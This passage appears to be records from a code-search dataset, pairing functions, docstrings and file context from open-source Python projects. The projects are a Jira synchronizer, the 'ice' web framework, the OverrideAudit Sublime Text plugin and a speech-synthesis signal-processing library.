_issue_to_dict(self, issue): args = dict( project=issue.project.backend_id, summary=issue.summary, description=issue.get_description(), issuetype={'name': issue.type.name}, ) if issue.priority: args['priority'] = {'name': issue.priority.name} if issue.parent: args['parent'] = {'key': issue.parent.backend_id} return args def _get_property(self, object_name, object_id, property_name): url = self.manager._get_url( '{0}/{1}/properties/{2}'.format(object_name, object_id, property_name) ) response = self.manager._session.get(url) return response.json() def get_issues_count(self, project_key): base = '{server}/rest/{rest_path}/{rest_api_version}/{path}' page_params = { 'jql': 'project=%s' % project_key, 'validateQuery': True, 'startAt': 0, 'fields': [], 'maxResults': 0, 'expand': None, } result = self.manager._get_json('search', params=page_params, base=base) return result['total'] class AttachmentSynchronizer: def __init__(self, backend, current_issue, backend_issue): self.backend = backend self.current_issue = current_issue self.backend_issue = backend_issue def perform_update(self): if self.stale_attachment_ids: self.backend.model_attachment.objects.filter( backend_id__in=self.stale_attachment_ids ).delete() for attachment_id in self.new_attachment_ids: self._add_attachment( self.current_issue, self.get_backend_attachment(attachment_id) ) for attachment_id in self.updated_attachments_ids: self._update_attachment( self.current_issue, self.get_backend_attachment(attachment_id), self.get_current_attachment(attachment_id), ) def get_current_attachment(self, attachment_id): return self.current_attachments_map[attachment_id] def get_backend_attachment(self, attachment_id): return self.backend_attachments_map[attachment_id] @cached_property def current_attachments_map(self): return { str(attachment.backend_id): attachment for attachment in self.current_issue.attachments.all() } @cached_property def current_attachments_ids(self): return set(self.current_attachments_map.keys()) @cached_property def backend_attachments_map(self): return { str(attachment.id): attachment for attachment in self.backend_issue.fields.attachment } @cached_property def backend_attachments_ids(self): return set(self.backend_attachments_map.keys()) @cached_property def stale_attachment_ids(self): return self.current_attachments_ids - self.backend_attachments_ids @cached_property def new_attachment_ids(self): return self.backend_attachments_ids - self.current_attachments_ids @cached_property def updated_attachments_ids(self): return filter(self._is_attachment_updated, self.backend_attachments_ids) def _is_attachment_updated(self, attachment_id): if not getattr(self.get_backend_attachment(attachment_id), 'thumbnail', False): return False if attachment_id not in self.current_attachments_ids: return False if self.get_current_attachment(attachment_id).thumbnail: return False return True
MIT License
susam/ice
ice.py
Wildcard.value
python
def value(self, value): return value if self._type in ['str', 'path'] else int(value)
Convert specified value to a value of wildcard type. This method does not check if the value matches the wildcard type. The caller of this method must ensure that the value passed to this method was obtained from a match by regular expression returned by the regex method of this class. Ensuring this guarantees that the value passed to the method matches the wildcard type. Arguments: value (str): Value to convert. Returns: str or int: Converted value.
https://github.com/susam/ice/blob/532e685c504ea96f9e42833594585159ac1d2068/ice.py#L606-L622
__version__ = '0.0.2' __date__ = '25 March 2014' __author__ = 'Susam Pal <susam@susam.in>' __credits__ = ('Marcel Hellkamp, for writing bottle, the inspiration ' 'behind ice.') import collections import itertools import re import cgi import urllib.parse import http.server import http.cookies import os import mimetypes def cube(): app = Ice() @app.get('/') def default_home_page(): return simple_html('It works!', '<h1>It works!</h1>\n' '<p>This is the default ice web page.</p>') @app.error() def generic_error_page(): return simple_html(app.response.status_line, '<h1>{title}</h1>\n' '<p>{description}</p>\n' '<hr>\n' '<address>Ice/{version}</address>'.format( title=app.response.status_line, description=app.response.status_detail, version=__version__)) def simple_html(title, body): return ( '<!DOCTYPE html>\n' '<html>\n<head><title>{title}</title></head>\n' '<body>\n{body}\n</body>\n</html>\n' ).format(title=title, body=body) return app class Ice: def __init__(self): self._router = Router() self._server = None self._error_handlers = {} def run(self, host='127.0.0.1', port=8080): from wsgiref import simple_server self._server = simple_server.make_server(host, port, self) self._server.serve_forever() def exit(self): if self._server is not None: self._server.shutdown() self._server.server_close() self._server = None def running(self): return self._server is not None def get(self, pattern): return self.route('GET', pattern) def post(self, pattern): return self.route('POST', pattern) def route(self, method, pattern): def decorator(callback): self._router.add(method, pattern, callback) return callback return decorator def error(self, status=None): def decorator(callback): self._error_handlers[status] = callback return callback return decorator def static(self, root, path, media_type=None, charset='UTF-8'): root = os.path.abspath(os.path.join(root, '')) path = os.path.abspath(os.path.join(root, path.lstrip('/\\'))) self.response.state['filename'] = os.path.basename(path) if not path.startswith(root): return 403 elif not os.path.isfile(path): return 404 if media_type is not None: self.response.media_type = media_type else: self.response.media_type = mimetypes.guess_type(path)[0] self.response.charset = charset with open(path, 'rb') as f: return f.read() def download(self, content, filename=None, media_type=None, charset='UTF-8'): if isinstance(content, int) and content != 200: return content if filename is not None: filename = os.path.basename(filename) elif 'filename' in self.response.state: filename = self.response.state['filename'] else: filename = os.path.basename(self.request.path) if filename == '': raise LogicError('Cannot determine filename for download') if media_type is not None: self.response.media_type = media_type else: self.response.media_type = mimetypes.guess_type(filename)[0] self.response.charset = charset self.response.add_header('Content-Disposition', 'attachment; ' 'filename="{}"'.format(filename)) return content def __call__(self, environ, start_response): self.request = Request(environ) self.response = Response(start_response) route = self._router.resolve(self.request.method, self.request.path) if route is not None: callback, args, kwargs = route value = callback(*args, **kwargs) elif self._router.contains_method(self.request.method): value = 404 else: value = 501 if isinstance(value, str) or isinstance(value, bytes): self.response.body = value elif isinstance(value, int) and value in Response._responses: self.response.status = value if self.response.body is None: self.response.body = self._get_error_page_callback()() elif (isinstance(value, tuple) and isinstance(value[0], int) and isinstance(value[1], str) and value[0] in Response._responses and 300 <= value[0] <= 308): self.response.add_header('Location', value[1]) self.response.status = value[0] if self.response.body is None: self.response.body = self._get_error_page_callback()() else: raise Error('Route callback for {} {} returned invalid ' 'value: {}: {!r}'.format(self.request.method, self.request.path, type(value).__name__, value)) return self.response.response() def _get_error_page_callback(self): if self.response.status in self._error_handlers: return self._error_handlers[self.response.status] elif None in self._error_handlers: return self._error_handlers[None] else: self.response.media_type = 'text/plain' return lambda: self.response.status_line class Router: def __init__(self): self._literal = collections.defaultdict(dict) self._wildcard = collections.defaultdict(list) self._regex = collections.defaultdict(list) def add(self, method, pattern, callback): pat_type, pat = self._normalize_pattern(pattern) if pat_type == 'literal': self._literal[method][pat] = callback elif pat_type == 'wildcard': self._wildcard[method].append(WildcardRoute(pat, callback)) else: self._regex[method].append(RegexRoute(pat, callback)) def contains_method(self, method): return method in itertools.chain(self._literal, self._wildcard, self._regex) def resolve(self, method, path): if method in self._literal and path in self._literal[method]: return self._literal[method][path], [], {} else: return self._resolve_non_literal_route(method, path) def _resolve_non_literal_route(self, method, path): for route_dict in (self._wildcard, self._regex): if method in route_dict: for route in reversed(route_dict[method]): callback_data = route.match(path) if callback_data is not None: return callback_data return None @staticmethod def _normalize_pattern(pattern): if pattern.startswith('regex:'): pattern_type = 'regex' pattern = pattern[len('regex:'):] elif pattern.startswith('wildcard:'): pattern_type = 'wildcard' pattern = pattern[len('wildcard:'):] elif pattern.startswith('literal:'): pattern_type = 'literal' pattern = pattern[len('literal:'):] elif RegexRoute.like(pattern): pattern_type = 'regex' elif WildcardRoute.like(pattern): pattern_type = 'wildcard' else: pattern_type = 'literal' return pattern_type, pattern class WildcardRoute: _wildcard_re = re.compile(r'<[^<>/]*>') _tokenize_re = re.compile(r'<[^<>/]*>|[^<>/]+|/|<|>') def __init__(self, pattern, callback): self._re = [] self._wildcards = [] for token in WildcardRoute.tokens(pattern): if token and token.startswith('<') and token.endswith('>'): w = Wildcard(token) self._wildcards.append(w) self._re.append(w.regex()) else: self._re.append(re.escape(token)) self._re = re.compile('^' + ''.join(self._re) + '$') self._callback = callback def match(self, path): match = self._re.search(path) if match is None: return None args = [] kwargs = {} for i, wildcard in enumerate(self._wildcards): if wildcard.name == '!': continue value = wildcard.value(match.groups()[i]) if not wildcard.name: args.append(value) else: kwargs[wildcard.name] = value return self._callback, args, kwargs @staticmethod def like(pattern): return WildcardRoute._wildcard_re.search(pattern) is not None @staticmethod def tokens(pattern): return WildcardRoute._tokenize_re.findall(pattern) class Wildcard: _types_re = { 'str': r'([^/]+)', 'path': r'(.+)', 'int': r'(0|[1-9][0-9]*)', '+int': r'([1-9][0-9]*)', '-int': r'(0|-?[1-9][0-9]*)', } _name_re = re.compile(r'^(?:[^\d\W]\w*|!|)$') def __init__(self, spec): tokens = spec[1:-1].split(':', 1) if len(tokens) == 1: tokens.append('') self.name, self._type = tokens if not self._type: self._type = 'str' if Wildcard._name_re.search(self.name) is None: raise RouteError('Invalid wildcard name {!r} in {!r}' .format(self.name, spec)) if self._type not in Wildcard._types_re.keys(): raise RouteError('Invalid wildcard type {!r} in {!r}' .format(self._type, spec)) def regex(self): return Wildcard._types_re[self._type]
MIT License
odatnurd/overrideaudit
src/core.py
setup_override_minidiff
python
def setup_override_minidiff(view): settings = sublime.load_settings("Preferences.sublime-settings") mini_diff = settings.get("mini_diff") mini_diff_underlying = oa_setting("mini_diff_underlying") and mini_diff is True filename = view.file_name() if (not mini_diff_underlying or filename is None or not filename.startswith(sublime.packages_path()) or not os.path.isfile(filename)): return result = check_potential_override(filename, deep=True, get_content=mini_diff_underlying) if result is not None: override_group.apply(view, result[0], result[1], False) if result[2] is not None: view.set_reference_document(result[2]) else: override_group.remove(view)
Check the view provided to see if it represents an edit session on a package resource that is an override. If it isn't, or if the settings are not set to indicate that the user wants the mini diff, this does nothing. Otherwise, it will set up the reference document for this override to track the base file.
https://github.com/odatnurd/overrideaudit/blob/2e1601753af1b4ffc57e362bf8423c2db0c6d317/src/core.py#L227-L253
import sublime import sublime_plugin from collections import OrderedDict from operator import itemgetter from datetime import datetime from time import time from bisect import bisect from zipfile import ZipFile from tempfile import mkstemp import stat import os import threading import subprocess import sys import re from ..lib.packages import PackageInfo, PackageList, PackageFileSet from ..lib.packages import override_display, check_potential_override from ..lib.packages import find_zip_entry, check_potential_override from ..lib.output_view import output_to_view from ..lib.threads import BackgroundWorkerThread from ..lib.utils import SettingsGroup override_group = SettingsGroup("override_audit_package", "override_audit_override", "override_audit_diff") def loaded(): log("Initializing") oa_setting.obj = sublime.load_settings("OverrideAudit.sublime-settings") oa_setting.default = { "reuse_views": True, "clear_existing": True, "ignore_overrides_in": [], "diff_unchanged": "diff", "diff_context_lines": 3, "diff_empty_hdr": False, "save_on_diff": False, "confirm_deletion": True, "confirm_freshen": True, "confirm_revert": True, "report_on_unignore": True, "external_diff": False, "ignore_unknown_overrides": [ "^\\.git/", "^\\.svn/", "^\\.hg/" ], "mini_diff_underlying": True, "enable_hover_popup": True, "binary_file_patterns": None } for window in sublime.windows(): for view in window.views(): setup_override_minidiff(view) AutoReportTrigger() def unloaded(): log("Shutting down") AutoReportTrigger.unregister() def log(message, *args, status=False, dialog=False): message = message % args print("OverrideAudit:", message) if status: sublime.status_message(message) if dialog: sublime.message_dialog(message) def oa_syntax(file): return "Packages/OverrideAudit/resources/syntax/%s.sublime-syntax" % file def oa_setting(key): default = oa_setting.default.get(key, None) return oa_setting.obj.get(key, default) def oa_can_diff_externally(): spec = oa_setting("external_diff") if not spec: return False if isinstance(spec, bool): return False if isinstance(spec, dict): return True if isinstance(spec, str): if spec == "sublimerge": for res in sublime.find_resources("version"): if res.split("/")[1] in ("Sublimerge 3", "Sublimerge Pro"): return True return False return False def get_ignore_unknown_patterns(): pattern_list = oa_setting("ignore_unknown_overrides") re_opts = 0 if sublime.platform() == "linux" else re.IGNORECASE patterns = [] if isinstance(pattern_list, bool): return [re.compile(r'.')] if pattern_list else [] for regex in pattern_list: try: patterns.append(re.compile(regex, re_opts)) except Exception as e: log("Invalid ignore_unknown_overrides regex '%s': %s", regex, str(e), status=True) return patterns def packages_with_overrides(pkg_list, name_list=None): ignored = oa_setting("ignore_overrides_in") items = [name for name, pkg in pkg_list if len(pkg.override_files()) > 0 and name not in ignored] if name_list is not None: items = list(filter(lambda name: name in name_list, items)) return items def decorate_pkg_name(pkg_info, name_only=False): suffix = "" pkg_name = pkg_info.name if pkg_info.is_disabled: pkg_name = "[%s]" % pkg_name elif pkg_info.is_dependency: pkg_name = "<%s>" % pkg_name if name_only: return pkg_name if pkg_info.has_possible_overrides(simple=False): suffix += " <Complete Override>" if bool(pkg_info.expired_override_files(simple=False)): suffix += " [EXPIRED]" return "[{}{}{}] {}{}".format( "S" if pkg_info.shipped_path is not None else " ", "I" if pkg_info.installed_path is not None else " ", "U" if pkg_info.unpacked_path is not None else " ", pkg_name, suffix)
MIT License
cstr-edinburgh/snickery
script/smoothing/libwavgen.py
fade_gen
python
def fade_gen(fade_len, ftype): if fade_len < 1: return None len_tot = (fade_len + 1) * 2 + 1 v_win = np.hanning(len_tot) v_fade = v_win[1:(fade_len+1)] if ftype is 'fade_out': v_fade = np.flipud(v_fade) return v_fade
ftype: 'fade_in' or 'fade_out'
https://github.com/cstr-edinburgh/snickery/blob/6d7e0b48cbb21760089bbbe85f6d7bd206f89821/script/smoothing/libwavgen.py#L778-L792
import os from scipy.stats import mode from scipy import signal import os.path import libaudio as la import libutils as lu import numpy as np import fft_feats as ff from scipy import interpolate def parse_utt_file(utt_file, pm_dir): l_data = [] diphnx = 0 with open(utt_file) as file_id: for line in file_id: l_line = line.split() if (len(l_line) >= 8) and (l_line[7] == 'ph1'): diphone = l_line[5] audio_file = l_line[23] nframes = int(l_line[42]) middle_frm = int(l_line[20]) source_end_sec_orig = float(l_line[30]) pm_file = pm_dir + '/' + audio_file + '.pm' v_pm_sec = np.loadtxt(pm_file, skiprows=9, usecols=[0]) mid_point_sec = source_end_sec_orig nx_mid_pm = np.argmin(np.abs((mid_point_sec - v_pm_sec))) source_strt_sec = v_pm_sec[nx_mid_pm - middle_frm] source_end_sec = v_pm_sec[nx_mid_pm - middle_frm + nframes] source_ph_bound_sec = v_pm_sec[nx_mid_pm] l_data.append([ diphone, audio_file, source_strt_sec, source_end_sec, source_ph_bound_sec, diphnx]) diphnx += 1 return l_data def parse_utt_src_file(utt_src_file): d_data = {} m_file_data = np.loadtxt(utt_src_file, comments=None, usecols=(0,1,2,3), dtype='string') d_data['srcfile'] = m_file_data[:,0].tolist() d_data['src_strt_sec'] = m_file_data[:,1].astype('float64') d_data['src_end_sec'] = m_file_data[:,2].astype('float64') d_data['diphone'] = m_file_data[:,3].tolist() return d_data def parse_utt_file2(utt_file, pm_dir): d_data = {} d_data['diphone'] = [] d_data['srcfile'] = [] d_data['src_strt_sec'] = np.array([]) d_data['src_end_sec'] = np.array([]) d_data['src_bnd_sec'] = np.array([]) d_data['src_end_sec'] = np.array([]) with open(utt_file) as file_id: for line in file_id: l_line = line.split() if (len(l_line) >= 8) and (l_line[7] == 'ph1'): diphone = l_line[5] wavfile = l_line[23] nframes = int(l_line[42]) middle_frm = int(l_line[20]) source_end_sec_orig = float(l_line[30]) pm_file = pm_dir + '/' + wavfile + '.pm' v_pm_sec = np.loadtxt(pm_file, skiprows=9, usecols=[0]) mid_point_sec = source_end_sec_orig nx_mid_pm = np.argmin(np.abs((mid_point_sec - v_pm_sec))) source_strt_sec = v_pm_sec[nx_mid_pm - middle_frm] if (nx_mid_pm - middle_frm + nframes)>=len(v_pm_sec): source_end_sec = v_pm_sec[-1] else: source_end_sec = v_pm_sec[nx_mid_pm - middle_frm + nframes] source_ph_bound_sec = v_pm_sec[nx_mid_pm] d_data['diphone'].append(diphone) d_data['srcfile'].append(wavfile) d_data['src_strt_sec'] = np.append(d_data['src_strt_sec'], source_strt_sec) d_data['src_bnd_sec'] = np.append(d_data['src_bnd_sec'] , source_ph_bound_sec) d_data['src_end_sec'] = np.append(d_data['src_end_sec'] , source_end_sec) return d_data def extract_segments(l_utt_data, wav_dir, pm_dir): npm_margin = 3 l_segs_data = [] ndiph = len(l_utt_data) for i in xrange(ndiph): wav_file = wav_dir + '/' + l_utt_data[i][1] + '.wav' pm_file = pm_dir + '/' + l_utt_data[i][1] + '.pm' v_src_sig, fs = la.read_audio_file(wav_file) v_pm_sec = la.read_est_file(pm_file)[:,0] src_strt_orig_sec = l_utt_data[i][2] src_end_orig_sec = l_utt_data[i][3] src_pm_strt_nx = np.argmin(np.abs(v_pm_sec - src_strt_orig_sec)) src_pm_end_nx = np.argmin(np.abs(v_pm_sec - src_end_orig_sec)) src_pm_strt_nx_w_marg = src_pm_strt_nx - npm_margin src_pm_end_nx_w_marg = src_pm_end_nx + npm_margin v_pm_smps = lu.round_to_int(v_pm_sec * fs) v_pm_smps_seg = v_pm_smps[(src_pm_strt_nx_w_marg-1):(src_pm_end_nx_w_marg+2)] v_sig_seg = v_src_sig[v_pm_smps_seg[0]:(v_pm_smps_seg[-1]+1)] v_pm_smps_seg = v_pm_smps_seg - v_pm_smps_seg[0] v_pm_smps_seg = v_pm_smps_seg[1:-1] l_segs_data.append([v_sig_seg, v_pm_smps_seg]) return l_segs_data def extract_segments2(l_utt_data, wav_dir, pm_reaper_dir, npm_margin): l_segs_data = [] ndiph = len(l_utt_data) nfrms = 0 for i in xrange(ndiph): wav_file = wav_dir + '/' + l_utt_data[i][1] + '.wav' pm_file = pm_reaper_dir + '/' + l_utt_data[i][1] + '.pm' v_src_sig, fs = la.read_audio_file(wav_file) v_pm_sec, v_voi = la.read_reaper_est_file(pm_file) src_strt_orig_sec = l_utt_data[i][2] src_end_orig_sec = l_utt_data[i][3] src_ph_bnd_orig_sec = l_utt_data[i][4] src_pm_strt_nx = np.argmin(np.abs(v_pm_sec - src_strt_orig_sec)) src_pm_end_nx = np.argmin(np.abs(v_pm_sec - src_end_orig_sec)) src_pm_ph_bnd_nx = np.argmin(np.abs(v_pm_sec - src_ph_bnd_orig_sec)) src_pm_strt_nx_w_marg = src_pm_strt_nx - npm_margin src_pm_end_nx_w_marg = src_pm_end_nx + npm_margin v_pm_smps = lu.round_to_int(v_pm_sec * fs) v_pm_smps_seg = v_pm_smps[(src_pm_strt_nx_w_marg-1):(src_pm_end_nx_w_marg+2)] v_voi_seg = v_voi[(src_pm_strt_nx_w_marg):(src_pm_end_nx_w_marg+1)] v_sig_seg = v_src_sig[v_pm_smps_seg[0]:(v_pm_smps_seg[-1]+1)] v_pm_smps_seg = v_pm_smps_seg - v_pm_smps_seg[0] v_pm_smps_seg = v_pm_smps_seg[1:-1] len_diff = len(v_voi_seg) - len(v_pm_smps_seg) if len_diff > 0: v_voi_seg = v_voi_seg[:-len_diff] src_pm_ph_bnd_nx_seg = src_pm_ph_bnd_nx - src_pm_strt_nx_w_marg nfrms += len(v_pm_smps_seg) l_segs_data.append([v_sig_seg, v_pm_smps_seg, v_voi_seg, src_pm_ph_bnd_nx_seg]) d_data = { 'nfrms': nfrms, 'segs': l_segs_data} return d_data def extract_segments3(d_utt_data, wav_dir, pm_reaper_dir, npm_margin): d_utt_data['v_sig'] = [] d_utt_data['v_pm_smpls'] = [] d_utt_data['v_voi'] = [] ndiph = len(d_utt_data['srcfile']) nfrms = 0 for i in xrange(ndiph): wav_file = wav_dir + '/' + d_utt_data['srcfile'][i] + '.wav' pm_file = pm_reaper_dir + '/' + d_utt_data['srcfile'][i] + '.pm' v_src_sig, fs = la.read_audio_file(wav_file) v_pm_sec, v_voi = la.read_reaper_est_file(pm_file) src_strt_orig_sec = d_utt_data['src_strt_sec'][i] src_end_orig_sec = d_utt_data['src_end_sec' ][i] src_pm_strt_nx = np.argmin(np.abs(v_pm_sec - src_strt_orig_sec)) src_pm_end_nx = np.argmin(np.abs(v_pm_sec - src_end_orig_sec)) src_pm_strt_nx_w_marg = src_pm_strt_nx - npm_margin src_pm_end_nx_w_marg = src_pm_end_nx + npm_margin if i==0: src_pm_strt_nx_w_marg = src_pm_strt_nx if (src_pm_strt_nx_w_marg - 1)<0: src_pm_strt_nx_w_marg = 1 if i==(ndiph-1): src_pm_end_nx_w_marg = src_pm_end_nx nfrms_src = len(v_pm_sec) if (src_pm_end_nx_w_marg+1)>(nfrms_src-1): src_pm_end_nx_w_marg = nfrms_src - 2 v_pm_smps = lu.round_to_int(v_pm_sec * fs) v_pm_smps_seg = v_pm_smps[(src_pm_strt_nx_w_marg-1):(src_pm_end_nx_w_marg+2)] v_voi_seg = v_voi[(src_pm_strt_nx_w_marg):(src_pm_end_nx_w_marg+1)] if v_voi_seg.size==0: v_voi_seg = np.array([0.0]) v_sig_seg = v_src_sig[v_pm_smps_seg[0]:(v_pm_smps_seg[-1]+1)] v_pm_smps_seg = v_pm_smps_seg - v_pm_smps_seg[0] if len(v_pm_smps_seg)<=2: v_pm_smps_seg = v_pm_smps_seg[-1] else: v_pm_smps_seg = v_pm_smps_seg[1:-1] len_diff = v_voi_seg.size - v_pm_smps_seg.size if len_diff > 0: v_voi_seg = v_voi_seg[:-len_diff] nfrms += v_pm_smps_seg.size d_utt_data['v_sig' ].append(v_sig_seg) d_utt_data['v_pm_smpls'].append(v_pm_smps_seg) d_utt_data['v_voi' ].append(v_voi_seg) d_utt_data['nfrms_tot'] = nfrms return d_utt_data def analysis_fft_feats(d_segs_data, nfft): l_segs_data = d_segs_data['segs'] nfrms_tot = d_segs_data['nfrms'] nffthalf = 1 + nfft/2 m_mag_tot = np.zeros((nfrms_tot, nffthalf)) m_real_tot = np.zeros((nfrms_tot, nffthalf)) m_imag_tot = np.zeros((nfrms_tot, nffthalf)) v_shift_tot = np.zeros(nfrms_tot, dtype='int64') v_voi_tot = np.zeros(nfrms_tot, dtype='int64') nsegs = len(l_segs_data) v_start_segs = np.zeros(nsegs, dtype='int64') curr_nx = 0 for i in xrange(nsegs): v_sig = l_segs_data[i][0] v_pm_smps = l_segs_data[i][1] v_voi = l_segs_data[i][2] m_sp, m_ph, v_shift, m_frms, m_fft, v_lens = ff.analysis_with_del_comp_from_pm(v_sig, v_pm_smps, nfft) m_mag, m_real, m_imag = ff.get_fft_params_from_complex_data(m_fft) curr_nfrms = len(v_shift) m_mag_tot[curr_nx:(curr_nx+curr_nfrms),:] = m_mag m_real_tot[curr_nx:(curr_nx+curr_nfrms),:] = m_real m_imag_tot[curr_nx:(curr_nx+curr_nfrms),:] = m_imag v_shift_tot[curr_nx:(curr_nx+curr_nfrms)] = v_shift v_voi_tot[curr_nx:(curr_nx+curr_nfrms)] = v_voi v_start_segs[i] = curr_nx curr_nx += curr_nfrms return m_mag_tot, m_real_tot, m_imag_tot, v_shift_tot, v_voi_tot, v_start_segs def analysis_fft_feats2(d_utt_data, nfft): nfrms_tot = d_utt_data['nfrms_tot'] nffthalf = 1 + nfft/2 m_mag_tot = np.zeros((nfrms_tot, nffthalf)) m_real_tot = np.zeros((nfrms_tot, nffthalf)) m_imag_tot = np.zeros((nfrms_tot, nffthalf)) v_shift_tot = np.zeros(nfrms_tot, dtype='int64') v_voi_tot = np.zeros(nfrms_tot, dtype='int64') nsegs = len(d_utt_data['srcfile']) v_start_segs = np.zeros(nsegs, dtype='int64') curr_nx = 0 for i in xrange(nsegs): v_sig = d_utt_data['v_sig' ][i] v_pm_smps = d_utt_data['v_pm_smpls'][i] v_voi = d_utt_data['v_voi' ][i] m_sp, m_ph, v_shift, m_frms, m_fft, v_lens = ff.analysis_with_del_comp_from_pm(v_sig, v_pm_smps, nfft) m_mag, m_real, m_imag = ff.get_fft_params_from_complex_data(m_fft) curr_nfrms = len(v_shift) m_mag_tot[curr_nx:(curr_nx+curr_nfrms),:] = m_mag m_real_tot[curr_nx:(curr_nx+curr_nfrms),:] = m_real m_imag_tot[curr_nx:(curr_nx+curr_nfrms),:] = m_imag v_shift_tot[curr_nx:(curr_nx+curr_nfrms)] = v_shift v_voi_tot[curr_nx:(curr_nx+curr_nfrms)] = v_voi v_start_segs[i] = curr_nx curr_nx += curr_nfrms return m_mag_tot, m_real_tot, m_imag_tot, v_shift_tot, v_voi_tot, v_start_segs def synthesis_fft_feats(m_mag, m_real, m_imag, v_shift): m_ph_cmpx = (m_real + m_imag * 1j) m_fft = m_mag * m_ph_cmpx / np.absolute(m_ph_cmpx) m_fft = la.add_hermitian_half(m_fft, data_type='complex') m_frm = np.fft.ifft(m_fft).real m_frm = np.fft.fftshift(m_frm, axes=1) v_pm = la.shift_to_pm(v_shift) v_syn_sig = la.ola(m_frm,v_pm) return v_syn_sig def synthesis_fft_feats2(m_mag, m_real, m_imag, v_shift, v_start_segs=None): if any(np.atleast_1d(v_start_segs)): v_end_segs = v_start_segs[1:] - 1 m_mag = np.delete(m_mag, v_end_segs, axis=0) m_real = np.delete(m_real, v_end_segs, axis=0) m_imag = np.delete(m_imag, v_end_segs, axis=0) v_shift = np.delete(v_shift, v_end_segs) m_ph_cmpx = (m_real + m_imag * 1j) m_fft = m_mag * m_ph_cmpx / np.absolute(m_ph_cmpx) m_fft = la.add_hermitian_half(m_fft, data_type='complex') m_frm = np.fft.ifft(m_fft).real m_frm = np.fft.fftshift(m_frm, axes=1) v_pm = la.shift_to_pm(v_shift) v_syn_sig = la.ola(m_frm,v_pm) return v_syn_sig def synthesis_fft_feats_from_fft_matrix(m_fft, v_shift): m_fft = la.add_hermitian_half(m_fft, data_type='complex') m_frm = np.fft.ifft(m_fft).real m_frm = np.fft.fftshift(m_frm, axes=1) v_pm = la.shift_to_pm(v_shift) v_syn_sig = la.ola(m_frm,v_pm) return v_syn_sig def concat_fft_feats_simple(l_fft_feats, npm_margin): nsegs = len(l_fft_feats) nfft = l_fft_feats[0]['m_mag'].shape[1] m_mag = np.array([]).reshape((0,nfft)) m_real = np.array([]).reshape((0,nfft)) m_imag = np.array([]).reshape((0,nfft)) v_shift = np.array([], dtype='int64') for i in xrange(nsegs): d_data = l_fft_feats[i] m_mag = np.append(m_mag, d_data['m_mag'][npm_margin:-(npm_margin+1),:] , axis=0) m_real = np.append(m_real, d_data['m_real'][npm_margin:-(npm_margin+1),:], axis=0) m_imag = np.append(m_imag, d_data['m_imag'][npm_margin:-(npm_margin+1),:], axis=0) v_shift = np.append(v_shift, d_data['v_shift'][npm_margin:-(npm_margin+1)] , axis=0) return m_mag, m_real, m_imag, v_shift def smooth_by_slope_to_average_mat(m_data, v_start_segs, in_type=None): m_data = m_data.copy() nbins = m_data.shape[1] for nxb in xrange(nbins): m_data[:,nxb] = smooth_by_slope_to_average(m_data[:,nxb], v_start_segs, in_type=in_type) return m_data def smooth_by_slope_to_average(v_in_data, v_start_segs, in_type=None): max_val = 450 min_val = 20 v_data = v_in_data.copy() if in_type is 'f0': v_voi = (v_data > 0).astype(int) nsegs = len(v_start_segs) v_start_segs = np.append(v_start_segs, len(v_data)) for nxj in xrange(1,nsegs): strt = v_start_segs[nxj] if v_data[strt] == v_data[strt-1]: continue if (in_type is 'f0') and ( (v_voi[strt]==0) or (v_voi[strt-1]==0) ): continue data_mean = (v_data[strt] + v_data[strt-1]) / 2.0 diff_w_mean_l = data_mean - v_data[strt-1] v_line_l = np.linspace(0, diff_w_mean_l, strt - v_start_segs[nxj-1]) v_data[v_start_segs[nxj-1]:strt] += v_line_l diff_w_mean_r = data_mean - v_data[strt] v_line_r = np.linspace(diff_w_mean_r, 0, v_start_segs[nxj+1] - strt) v_data[strt:v_start_segs[nxj+1]] += v_line_r if any(v_data[strt:v_start_segs[nxj+1]]<min_val) or any(v_data[strt:v_start_segs[nxj+1]]>max_val): v_data[strt:v_start_segs[nxj+1]] = v_in_data[strt:v_start_segs[nxj+1]] if in_type is 'f0': v_data *= v_voi return v_data def get_rms_energy_norm(m_mag, v_shift): m_mag = la.add_hermitian_half(m_mag) v_ener = np.sqrt(np.sum(m_mag**2, axis=1)) v_lens = v_shift[:-1] + v_shift[1:] + 1 v_lens = np.append(v_lens, 2 * v_shift[-1] + 1) v_ener_norm = v_ener / v_lens return v_ener_norm def mod_rms_energy(m_mag, v_new_energy): m_mag = la.add_hermitian_half(m_mag) m_mag = np.multiply(m_mag, v_new_energy[:,None]) m_mag = la.remove_hermitian_half(m_mag) return m_mag def print_dict(d_data, width=22): def format_column(col_data, width): data_type = type(col_data) l_column = [] if data_type is np.ndarray: v_data = np.atleast_1d(col_data) nlines = len(v_data) if v_data.ndim > 1: return None for nxl in xrange(nlines): l_column.append(("{:<%d}" % width).format(v_data[nxl])) if data_type is list: l_data = col_data if type(l_data[0]) is not str: return None nlines = len(l_data) for nxl in xrange(nlines): l_column.append(("{:%d.%d}" % (width, width-2)).format(l_data[nxl])) return l_column l_keys = d_data.keys() ncols = len(l_keys) ll_table = [] for nxc in xrange(ncols): l_curr_col = format_column(d_data[l_keys[nxc]], width) if (l_curr_col is None) or (len(l_curr_col) == 0): continue s_header = ("{:%d.%d}" % (width, width-2)).format(l_keys[nxc]) l_curr_col.insert(0,s_header) l_curr_col.insert(1,'=' * width) ll_table.append(l_curr_col) nlines = len(ll_table[0]) ncols_defi = len(ll_table) for nxl in xrange(nlines): curr_line = '' for nxc in xrange(ncols_defi): curr_line += ll_table[nxc][nxl] print(curr_line) return def analysis_fft_feats3(d_utt_data, nfft, fs): d_utt_data['m_mag'] = [] d_utt_data['m_real'] = [] d_utt_data['m_imag'] = [] d_utt_data['v_shift'] = [] d_utt_data['v_f0'] = [] d_utt_data['m_mag_db'] = [] d_utt_data['m_fft'] = [] nsegs = len(d_utt_data['srcfile']) v_strt_segs = np.zeros(nsegs, dtype='int64') curr_nx = 0 for i in xrange(nsegs): v_sig = d_utt_data['v_sig' ][i] v_pm_smps = d_utt_data['v_pm_smpls'][i] v_voi = d_utt_data['v_voi' ][i] m_sp, m_ph, v_shift, m_frms, m_fft, v_lens = ff.analysis_with_del_comp_from_pm(v_sig, v_pm_smps, nfft) m_mag, m_real, m_imag = ff.get_fft_params_from_complex_data(m_fft) v_f0 = ff.shift_to_f0(v_shift, v_voi, fs, b_filt=False) curr_nfrms = len(v_shift) d_utt_data['m_mag' ].append(m_mag) d_utt_data['m_real' ].append(m_mag) d_utt_data['m_imag' ].append(m_imag) d_utt_data['v_shift' ].append(v_shift) d_utt_data['v_f0' ].append(v_f0) d_utt_data['m_mag_db'].append(la.db(m_mag)) d_utt_data['m_fft' ].append(m_fft) v_strt_segs[i] = curr_nx curr_nx += curr_nfrms d_utt_data['v_strt_segs'] = v_strt_segs return d_utt_data def 